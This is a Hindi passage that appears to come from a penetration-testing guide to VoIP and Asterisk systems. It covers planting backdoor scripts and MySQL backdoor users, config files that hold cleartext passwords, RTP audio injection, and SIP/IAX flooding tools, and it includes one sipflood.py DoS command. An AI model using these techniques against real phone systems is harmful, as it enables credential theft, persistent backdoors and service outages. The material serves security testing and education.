अगर सर्वर किसी विशेष वर्णों का उपयोग करने की अनुमति नहीं दे रहा है System कमांड में (जैसे Elastix में), तो जांचें कि वेब सर्वर क्या सिस्टम के अंदर किसी प्रकार से फ़ाइलें बनाने की अनुमति देता है (जैसे Elastix या trixbox), और इसका उपयोग करके एक बैकडोर स्क्रिप्ट बनाने और फिर System का उपयोग करके उस स्क्रिप्ट को निष्पादित करने के लिए उपयोग करें।

दिलचस्प स्थानीय फ़ाइलें और अनुमतियाँ

  • sip.conf -> SIP उपयोगकर्ताओं का पासवर्ड शामिल है।

  • यदि Asterisk सर्वर root के रूप में चल रहा है, तो आप root को कंप्रोमाइज कर सकते हैं

  • mysql root उपयोगकर्ता के पास कोई पासवर्ड नहीं हो सकता

  • इसका उपयोग एक नया mysql उपयोगकर्ता बैकडोर के रूप में बनाने के लिए किया जा सकता है

  • FreePBX

  • amportal.conf -> वेब पैनल प्रशासक (FreePBX) का पासवर्ड शामिल है

  • FreePBX.conf -> डेटाबेस तक पहुंचने के लिए उपयोगकर्ता FreePBXuser का पासवर्ड शामिल है

  • इसका उपयोग एक नया mysql उपयोगकर्ता बैकडोर के रूप में बनाने के लिए किया जा सकता है

  • Elastix

  • Elastix.conf -> mysql root पासवर्ड, IMAPd पासवर्ड, वेब व्यवस्थापक पासवर्ड जैसे कई पासवर्ड स्पष्ट पाठ में शामिल हैं

  • कई फ़ोल्डर कंप्रोमाइज़्ड एस्टेरिस्क उपयोगकर्ता के नाम होंगे (यदि root के रूप में नहीं चल रहा है)। यह उपयोगकर्ता पिछली फ़ाइलों को पढ़ सकता है और विन्यास को भी नियंत्रित करता है, इसलिए जब यह निष्पादित किया जाता है तो अन्य backdoored बाइनरी को लोड करने के लिए एस्टेरिस्क को बना सकता है।

RTP Injection

.wav को rtpinsertsound (sudo apt install rtpinsertsound) और rtpmixsound (sudo apt install rtpmixsound) जैसे उपकरणों का उपयोग करके बातचीत में डालना संभव है।

या आप http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ से स्क्रिप्ट का उपयोग करके बातचीतों को स्कैन कर सकते हैं (rtpscan.pl), एक .wav को एक बातचीत में भेज सकते हैं (rtpsend.pl) और एक बातचीत में शोर डाल सकते हैं (rtpflood.pl).

DoS

VoIP सर्वर में DoS प्राप्त करने के कई तरीके हैं।

  • sippts से sipflood.py: _SipFlood**_ लक्ष्य को असीमित संदेश भेजता है

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

  • IAXFlooder: Asterisk द्वारा उपयोग किए जाने वाले IAX प्रोटोकॉल को DoS करता है

  • inviteflood: SIP/SDP INVITE संदेश फ्लडिंग करने के लिए एक उपकरण।

  • rtpflood: कई अच्छे रूप से फॉर्मेट किए गए RTP पैकेट भेजें। यह आवश्यक है कि पहले उपयोग किए जा रहे RTP पोर्ट्स को जानने की आवश्यकता है (पहले स्निफ़ करें)।

  • SIPp: SIP ट्रैफिक विश्लेषण और उत्पन्न करने की अनुमति देता है। इसलिए इसका उपयोग DoS के लिए भी किया जा सकता है।

  • SIPsak: SIP स्विस आर्मी नाइफ। SIP हमले करने के लिए भी उपयोग किया जा सकता है।

  • Fuzzers: protos-sip, voiper.

  • sippts से sipsend.py: SIPSend हमें एक कस्टमाइज़ड SIP संदेश भेजने और प्रतिक्रिया का विश्लेषण करने की अनुमति देता है।

  • sippts से wssend.py: WsSend हमें वेबसॉकेट के माध्यम से एक कस्टमाइज़ड SIP संदेश भेजने और प्रतिक्रिया का विश्लेषण करने की अनुमति देता है।

ओएस सुरक्षा दोष

Asterisk जैसे सॉफ़्टवेयर को स्थापित करने का सबसे आसान तरीका एक ओएस वितरण डाउनलोड करना है जिसमें पहले से ही इंस्टॉल किया गया है, जैसे: FreePBX, Elastix, Trixbox... इनमें से एक बार यह काम करने लगता है तो सिस्टम व्यवस्थापक उन्हें फिर से अपडेट नहीं कर सकते और समय के साथ दोष पता चलेंगे।

संदर्भ

Last updated